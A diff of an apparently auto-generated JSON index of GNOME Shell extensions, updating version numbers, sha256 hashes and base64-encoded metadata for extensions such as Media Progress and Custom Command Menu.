     "45": {"version": "10", "sha256": "0clzah3mf6mhv10msd13m87jmbb9xjxr749jycidk4bvy7iqcwi8", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkJvb3N0cyB2b2x1bWUgYWJvdmUgbGltaXRzIiwKICAibmFtZSI6ICJCb29zdCBWb2x1bWUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vc2hhcXVpYmltZGFkL2dub21lX2V4dF92b2x1bWVfYm9vc3QiLAogICJ1dWlkIjogImJvb3N0dm9sdW1lQHNoYXF1aWIuZGV2IiwKICAidmVyc2lvbiI6IDEwCn0="},
@@ -8097,7 +8121,7 @@
 , {"uuid": "media-progress@krypion17", "name": "Media Progress", "pname": "media-progress", "description": "Progress Bar for the GNOME Media Notification", "link": "https://extensions.gnome.org/extension/6940/media-progress/", "shell_version_map": {
     "46": {"version": "19", "sha256": "0jr5kxz9vj7xx6ysng4zlx8pvqsdvrnglnvsc59c76q9jkzaq7ip", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByb2dyZXNzIEJhciBmb3IgdGhlIEdOT01FIE1lZGlhIE5vdGlmaWNhdGlvbiIsCiAgIm5hbWUiOiAiTWVkaWEgUHJvZ3Jlc3MiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0tyeXBpb24xNy9tZWRpYS1wcm9ncmVzcyIsCiAgInV1aWQiOiAibWVkaWEtcHJvZ3Jlc3NAa3J5cGlvbjE3IiwKICAidmVyc2lvbiI6IDE5Cn0="},
     "47": {"version": "21", "sha256": "1mxpzdy0ma1zjm1cmsv1x0prry751cvpl847nl3vsjcsrikcw3kp", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByb2dyZXNzIEJhciBmb3IgdGhlIEdOT01FIE1lZGlhIE5vdGlmaWNhdGlvbiIsCiAgIm5hbWUiOiAiTWVkaWEgUHJvZ3Jlc3MiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vS3J5cGlvbjE3L21lZGlhLXByb2dyZXNzIiwKICAidXVpZCI6ICJtZWRpYS1wcm9ncmVzc0BrcnlwaW9uMTciLAogICJ2ZXJzaW9uIjogMjEKfQ=="},
-    "48": {"version": "24", "sha256": "194g6k8103gby6za4dssqmg5vmpqivg1hvrhcmkiy7pn9xsj495b", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByb2dyZXNzIEJhciBmb3IgdGhlIEdOT01FIE1lZGlhIE5vdGlmaWNhdGlvbiIsCiAgIm5hbWUiOiAiTWVkaWEgUHJvZ3Jlc3MiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vS3J5cGlvbjE3L21lZGlhLXByb2dyZXNzIiwKICAidXVpZCI6ICJtZWRpYS1wcm9ncmVzc0BrcnlwaW9uMTciLAogICJ2ZXJzaW9uIjogMjQKfQ=="}
+    "48": {"version": "25", "sha256": "180lqp5yflzk39wgzj3rnjpcx87ykskryz7k5cddinrcf8bqlhsp", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByb2dyZXNzIEJhciBmb3IgdGhlIEdOT01FIE1lZGlhIE5vdGlmaWNhdGlvbiIsCiAgIm5hbWUiOiAiTWVkaWEgUHJvZ3Jlc3MiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vS3J5cGlvbjE3L21lZGlhLXByb2dyZXNzIiwKICAidXVpZCI6ICJtZWRpYS1wcm9ncmVzc0BrcnlwaW9uMTciLAogICJ2ZXJzaW9uIjogMjUKfQ=="}
   }}
 , {"uuid": "autohide-battery-percentage@rukins.github.io", "name": "Autohide Battery Percentage", "pname": "autohide-battery-percentage", "description": "GNOME Shell extension to hide the battery percentage in the top panel, if the computer is plugged in or power saving is disabled", "link": "https://extensions.gnome.org/extension/6943/autohide-battery-percentage/", "shell_version_map": {
     "45": {"version": "10", "sha256": "1q44n8qxrap78gsmv1r4xx5s1l9dnb6qx9fl65makvvsw8r902aa", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkdOT01FIFNoZWxsIGV4dGVuc2lvbiB0byBoaWRlIHRoZSBiYXR0ZXJ5IHBlcmNlbnRhZ2UgaW4gdGhlIHRvcCBwYW5lbCwgaWYgdGhlIGNvbXB1dGVyIGlzIHBsdWdnZWQgaW4gb3IgcG93ZXIgc2F2aW5nIGlzIGRpc2FibGVkIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJydWtpbnMiCiAgfSwKICAiZ2V0dGV4dC1kb21haW4iOiAiYXV0b2hpZGUtYmF0dGVyeS1wZXJjZW50YWdlQHJ1a2lucy5naXRodWIuaW8iLAogICJuYW1lIjogIkF1dG9oaWRlIEJhdHRlcnkgUGVyY2VudGFnZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5hdXRvaGlkZS1iYXR0ZXJ5LXBlcmNlbnRhZ2UiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vcnVraW5zL2F1dG9oaWRlLWJhdHRlcnktcGVyY2VudGFnZSIsCiAgInV1aWQiOiAiYXV0b2hpZGUtYmF0dGVyeS1wZXJjZW50YWdlQHJ1a2lucy5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMTAKfQ=="},
@@ -8201,11 +8225,11 @@
     "47": {"version": "11", "sha256": "0pyv0mkpjsarzc32wxisg4z772w2psbrl5s57r3pv42v4myi3m7z", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNpbXBsZSBHUFUgUHJvZmlsZSBzd2l0Y2hlciBHbm9tZS1TaGVsbC1FeHRlbnNpb24gZm9yIEFTVVMgbGFwdG9wcyB1c2luZyBTdXBlcmdmeGN0bCIsCiAgIm5hbWUiOiAiR1BVIFN1cGVyZ2Z4Y3RsIFN3aXRjaCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2NoaWtvYmFyYS9HUFUtU3dpdGNoZXItU3VwZXJnZnhjdGwiLAogICJ1dWlkIjogImdwdS1zd2l0Y2hlci1zdXBlcmdmeGN0bEBjaGlrb2JhcmEuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDExCn0="},
     "48": {"version": "11", "sha256": "0pyv0mkpjsarzc32wxisg4z772w2psbrl5s57r3pv42v4myi3m7z", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNpbXBsZSBHUFUgUHJvZmlsZSBzd2l0Y2hlciBHbm9tZS1TaGVsbC1FeHRlbnNpb24gZm9yIEFTVVMgbGFwdG9wcyB1c2luZyBTdXBlcmdmeGN0bCIsCiAgIm5hbWUiOiAiR1BVIFN1cGVyZ2Z4Y3RsIFN3aXRjaCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2NoaWtvYmFyYS9HUFUtU3dpdGNoZXItU3VwZXJnZnhjdGwiLAogICJ1dWlkIjogImdwdS1zd2l0Y2hlci1zdXBlcmdmeGN0bEBjaGlrb2JhcmEuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDExCn0="}
   }}
-, {"uuid": "custom-command-list@storageb.github.com", "name": "Custom Command Menu", "pname": "custom-command-list", "description": "Run user defined terminal/shell commands by selecting them from a customizable drop-down menu at the top bar.", "link": "https://extensions.gnome.org/extension/7024/custom-command-list/", "shell_version_map": {
-    "45": {"version": "8", "sha256": "1pfivz3g43jgnb3wbqrysfnxayb1vgq1501jjp76ll36jjn0pavv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJ1biB1c2VyIGRlZmluZWQgdGVybWluYWwvc2hlbGwgY29tbWFuZHMgYnkgc2VsZWN0aW5nIHRoZW0gZnJvbSBhIGN1c3RvbWl6YWJsZSBkcm9wLWRvd24gbWVudSBhdCB0aGUgdG9wIGJhci4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiYnV5bWVhY29mZmVlIjogIlN0b3JhZ2VCIgogIH0sCiAgIm5hbWUiOiAiQ3VzdG9tIENvbW1hbmQgTWVudSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5jdXN0b20tY29tbWFuZC1saXN0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1N0b3JhZ2VCL2N1c3RvbS1jb21tYW5kLW1lbnUiLAogICJ1dWlkIjogImN1c3RvbS1jb21tYW5kLWxpc3RAc3RvcmFnZWIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA4Cn0="},
-    "46": {"version": "8", "sha256": "1pfivz3g43jgnb3wbqrysfnxayb1vgq1501jjp76ll36jjn0pavv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJ1biB1c2VyIGRlZmluZWQgdGVybWluYWwvc2hlbGwgY29tbWFuZHMgYnkgc2VsZWN0aW5nIHRoZW0gZnJvbSBhIGN1c3RvbWl6YWJsZSBkcm9wLWRvd24gbWVudSBhdCB0aGUgdG9wIGJhci4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiYnV5bWVhY29mZmVlIjogIlN0b3JhZ2VCIgogIH0sCiAgIm5hbWUiOiAiQ3VzdG9tIENvbW1hbmQgTWVudSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5jdXN0b20tY29tbWFuZC1saXN0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1N0b3JhZ2VCL2N1c3RvbS1jb21tYW5kLW1lbnUiLAogICJ1dWlkIjogImN1c3RvbS1jb21tYW5kLWxpc3RAc3RvcmFnZWIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA4Cn0="},
-    "47": {"version": "8", "sha256": "1pfivz3g43jgnb3wbqrysfnxayb1vgq1501jjp76ll36jjn0pavv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJ1biB1c2VyIGRlZmluZWQgdGVybWluYWwvc2hlbGwgY29tbWFuZHMgYnkgc2VsZWN0aW5nIHRoZW0gZnJvbSBhIGN1c3RvbWl6YWJsZSBkcm9wLWRvd24gbWVudSBhdCB0aGUgdG9wIGJhci4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiYnV5bWVhY29mZmVlIjogIlN0b3JhZ2VCIgogIH0sCiAgIm5hbWUiOiAiQ3VzdG9tIENvbW1hbmQgTWVudSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5jdXN0b20tY29tbWFuZC1saXN0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1N0b3JhZ2VCL2N1c3RvbS1jb21tYW5kLW1lbnUiLAogICJ1dWlkIjogImN1c3RvbS1jb21tYW5kLWxpc3RAc3RvcmFnZWIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA4Cn0="},
-    "48": {"version": "8", "sha256": "1pfivz3g43jgnb3wbqrysfnxayb1vgq1501jjp76ll36jjn0pavv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJ1biB1c2VyIGRlZmluZWQgdGVybWluYWwvc2hlbGwgY29tbWFuZHMgYnkgc2VsZWN0aW5nIHRoZW0gZnJvbSBhIGN1c3RvbWl6YWJsZSBkcm9wLWRvd24gbWVudSBhdCB0aGUgdG9wIGJhci4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiYnV5bWVhY29mZmVlIjogIlN0b3JhZ2VCIgogIH0sCiAgIm5hbWUiOiAiQ3VzdG9tIENvbW1hbmQgTWVudSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5jdXN0b20tY29tbWFuZC1saXN0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1N0b3JhZ2VCL2N1c3RvbS1jb21tYW5kLW1lbnUiLAogICJ1dWlkIjogImN1c3RvbS1jb21tYW5kLWxpc3RAc3RvcmFnZWIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA4Cn0="}
+, {"uuid": "custom-command-list@storageb.github.com", "name": "Custom Command Menu", "pname": "custom-command-list", "description": "Run terminal/shell commands from a customizable drop-down menu at the top bar.", "link": "https://extensions.gnome.org/extension/7024/custom-command-list/", "shell_version_map": {
+    "45": {"version": "9", "sha256": "0jz7vrc0936dwl0bgchly9jxckc11i385bi81ggky1ksjjzrb5l7", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJ1biB1c2VyIGRlZmluZWQgdGVybWluYWwvc2hlbGwgY29tbWFuZHMgYnkgc2VsZWN0aW5nIHRoZW0gZnJvbSBhIGN1c3RvbWl6YWJsZSBkcm9wLWRvd24gbWVudSBhdCB0aGUgdG9wIGJhci4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiYnV5bWVhY29mZmVlIjogIlN0b3JhZ2VCIgogIH0sCiAgIm5hbWUiOiAiQ3VzdG9tIENvbW1hbmQgTWVudSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5jdXN0b20tY29tbWFuZC1saXN0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1N0b3JhZ2VCL2N1c3RvbS1jb21tYW5kLW1lbnUiLAogICJ1dWlkIjogImN1c3RvbS1jb21tYW5kLWxpc3RAc3RvcmFnZWIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5Cn0="},
+    "46": {"version": "9", "sha256": "0jz7vrc0936dwl0bgchly9jxckc11i385bi81ggky1ksjjzrb5l7", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJ1biB1c2VyIGRlZmluZWQgdGVybWluYWwvc2hlbGwgY29tbWFuZHMgYnkgc2VsZWN0aW5nIHRoZW0gZnJvbSBhIGN1c3RvbWl6YWJsZSBkcm9wLWRvd24gbWVudSBhdCB0aGUgdG9wIGJhci4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiYnV5bWVhY29mZmVlIjogIlN0b3JhZ2VCIgogIH0sCiAgIm5hbWUiOiAiQ3VzdG9tIENvbW1hbmQgTWVudSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5jdXN0b20tY29tbWFuZC1saXN0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1N0b3JhZ2VCL2N1c3RvbS1jb21tYW5kLW1lbnUiLAogICJ1dWlkIjogImN1c3RvbS1jb21tYW5kLWxpc3RAc3RvcmFnZWIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5Cn0="},
+    "47": {"version": "9", "sha256": "0jz7vrc0936dwl0bgchly9jxckc11i385bi81ggky1ksjjzrb5l7", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJ1biB1c2VyIGRlZmluZWQgdGVybWluYWwvc2hlbGwgY29tbWFuZHMgYnkgc2VsZWN0aW5nIHRoZW0gZnJvbSBhIGN1c3RvbWl6YWJsZSBkcm9wLWRvd24gbWVudSBhdCB0aGUgdG9wIGJhci4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiYnV5bWVhY29mZmVlIjogIlN0b3JhZ2VCIgogIH0sCiAgIm5hbWUiOiAiQ3VzdG9tIENvbW1hbmQgTWVudSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5jdXN0b20tY29tbWFuZC1saXN0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1N0b3JhZ2VCL2N1c3RvbS1jb21tYW5kLW1lbnUiLAogICJ1dWlkIjogImN1c3RvbS1jb21tYW5kLWxpc3RAc3RvcmFnZWIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5Cn0="},
+    "48": {"version": "9", "sha256": "0jz7vrc0936dwl0bgchly9jxckc11i385bi81ggky1ksjjzrb5l7", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJ1biB1c2VyIGRlZmluZWQgdGVybWluYWwvc2hlbGwgY29tbWFuZHMgYnkgc2VsZWN0aW5nIHRoZW0gZnJvbSBhIGN1c3RvbWl6YWJsZSBkcm9wLWRvd24gbWVudSBhdCB0aGUgdG9wIGJhci4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiYnV5bWVhY29mZmVlIjogIlN0b3JhZ2VCIgogIH0sCiAgIm5hbWUiOiAiQ3VzdG9tIENvbW1hbmQgTWVudSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5jdXN0b20tY29tbWFuZC1saXN0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1N0b3JhZ2VCL2N1c3RvbS1jb21tYW5kLW1lbnUiLAogICJ1dWlkIjogImN1c3RvbS1jb21tYW5kLWxpc3RAc3RvcmFnZWIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5Cn0="}
   }}
 , {"uuid": "eye-on-cursor@djinnalexio.github.io", "name": "Eye on Cursor", "pname": "eye-on-cursor", "description": "Let your desktop \"keep an eye\" on your mouse! And with the included cursor indicator, keep track of your pointer's every action!\n\nTry Eye on Cursor, a fun and practical extension that gives your panel eyes that constantly follow your mouse. This quirky feature, combined with a highly customizable mouse tracker that highlights clicks, makes it easier than ever to monitor your mouse movements, ensuring your pointer gets all the attention it needs.\n\nThis extension is the latest version of 'Eye and Mouse Extended' by Alexey Lovchikov.", "link": "https://extensions.gnome.org/extension/7036/eye-on-cursor/", "shell_version_map": {
     "45": {"version": "10", "sha256": "1vlmlbrpp2dwwbf0bagrk5vsya6zwzvh51sqnyp0h0fcq38ajqcs", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxldCB5b3VyIGRlc2t0b3AgXCJrZWVwIGFuIGV5ZVwiIG9uIHlvdXIgbW91c2UhIEFuZCB3aXRoIHRoZSBpbmNsdWRlZCBjdXJzb3IgaW5kaWNhdG9yLCBrZWVwIHRyYWNrIG9mIHlvdXIgcG9pbnRlcidzIGV2ZXJ5IGFjdGlvbiFcblxuVHJ5IEV5ZSBvbiBDdXJzb3IsIGEgZnVuIGFuZCBwcmFjdGljYWwgZXh0ZW5zaW9uIHRoYXQgZ2l2ZXMgeW91ciBwYW5lbCBleWVzIHRoYXQgY29uc3RhbnRseSBmb2xsb3cgeW91ciBtb3VzZS4gVGhpcyBxdWlya3kgZmVhdHVyZSwgY29tYmluZWQgd2l0aCBhIGhpZ2hseSBjdXN0b21pemFibGUgbW91c2UgdHJhY2tlciB0aGF0IGhpZ2hsaWdodHMgY2xpY2tzLCBtYWtlcyBpdCBlYXNpZXIgdGhhbiBldmVyIHRvIG1vbml0b3IgeW91ciBtb3VzZSBtb3ZlbWVudHMsIGVuc3VyaW5nIHlvdXIgcG9pbnRlciBnZXRzIGFsbCB0aGUgYXR0ZW50aW9uIGl0IG5lZWRzLlxuXG5UaGlzIGV4dGVuc2lvbiBpcyB0aGUgbGF0ZXN0IHZlcnNpb24gb2YgJ0V5ZSBhbmQgTW91c2UgRXh0ZW5kZWQnIGJ5IEFsZXhleSBMb3ZjaGlrb3YuIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJkamlubmFsZXhpbyIsCiAgICAicGF5cGFsIjogImRqaW5uYWxleGlvIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImV5ZS1vbi1jdXJzb3IiLAogICJuYW1lIjogIkV5ZSBvbiBDdXJzb3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZXllLW9uLWN1cnNvciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9kamlubmFsZXhpby9leWUtb24tY3Vyc29yLyIsCiAgInV1aWQiOiAiZXllLW9uLWN1cnNvckBkamlubmFsZXhpby5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMTAsCiAgInZlcnNpb24tbmFtZSI6ICIxLjQuMCIKfQ=="},
@@ -8248,10 +8272,10 @@
     "48": {"version": "54", "sha256": "1gp6n0baxcxxr75n428fml59905lviy8626q2hrq7rjyk0p6x3ny", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkV4dGVuZCBHbm9tZSBTaGVsbCB3aXRoIGFkdmFuY2VkIHRpbGluZyB3aW5kb3cgbWFuYWdlbWVudC4gU3VwcG9ydHMgbXVsdGlwbGUgbW9uaXRvcnMsIFdpbmRvd3MgMTEgU25hcCBBc3Npc3RhbnQsIEZhbmN5IFpvbmVzLCBhdXRvbWF0aWMgdGlsaW5nLCBrZXlib2FyZCBzaG9ydGN1dHMsIGN1c3RvbWlzZWQgdGlsaW5nIGxheW91dHMgYW5kIG1vcmUhIiwKICAiZG9uYXRpb25zIjogewogICAgImtvZmkiOiAiZG9tZmVyciIsCiAgICAicGF0cmVvbiI6ICJkb21mZXJyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInRpbGluZ3NoZWxsIiwKICAibmFtZSI6ICJUaWxpbmcgU2hlbGwiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudGlsaW5nc2hlbGwiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZG9tZmVyci90aWxpbmdzaGVsbCIsCiAgInV1aWQiOiAidGlsaW5nc2hlbGxAZmVycmFyb2RvbWVuaWNvLmNvbSIsCiAgInZlcnNpb24iOiA1NCwKICAidmVyc2lvbi1uYW1lIjogIjE2LjQiCn0="}
   }}
 , {"uuid": "kando-integration@kando-menu.github.io", "name": "Kando Integration", "pname": "kando-integration", "description": "This extension is required for Kando to work on Wayland. It allows Kando to bind global shortcuts, and provides information about your currently focused application window and the position of your mouse pointer.", "link": "https://extensions.gnome.org/extension/7068/kando-integration/", "shell_version_map": {
-    "45": {"version": "6", "sha256": "19qjbvxdy21zaxrkgfwpn4qwq3lki2hki2dw3jzla77ls0zcqjbb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgZXh0ZW5zaW9uIGlzIHJlcXVpcmVkIGZvciBLYW5kbyB0byB3b3JrIG9uIFdheWxhbmQuIEl0IGFsbG93cyBLYW5kbyB0byBiaW5kIGdsb2JhbCBzaG9ydGN1dHMsIGFuZCBwcm92aWRlcyBpbmZvcm1hdGlvbiBhYm91dCB5b3VyIGN1cnJlbnRseSBmb2N1c2VkIGFwcGxpY2F0aW9uIHdpbmRvdyBhbmQgdGhlIHBvc2l0aW9uIG9mIHlvdXIgbW91c2UgcG9pbnRlci4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogInNjaG5lZWdhbnMiLAogICAgImtvZmkiOiAic2NobmVlZ2FucyIsCiAgICAicGF5cGFsIjogInNpbW9uc2NobmVlZ2FucyIKICB9LAogICJuYW1lIjogIkthbmRvIEludGVncmF0aW9uIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmthbmRvLWludGVncmF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2thbmRvLW1lbnUiLAogICJ1dWlkIjogImthbmRvLWludGVncmF0aW9uQGthbmRvLW1lbnUuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDYsCiAgInZlcnNpb24tbmFtZSI6ICJ2MC41LjAiCn0="},
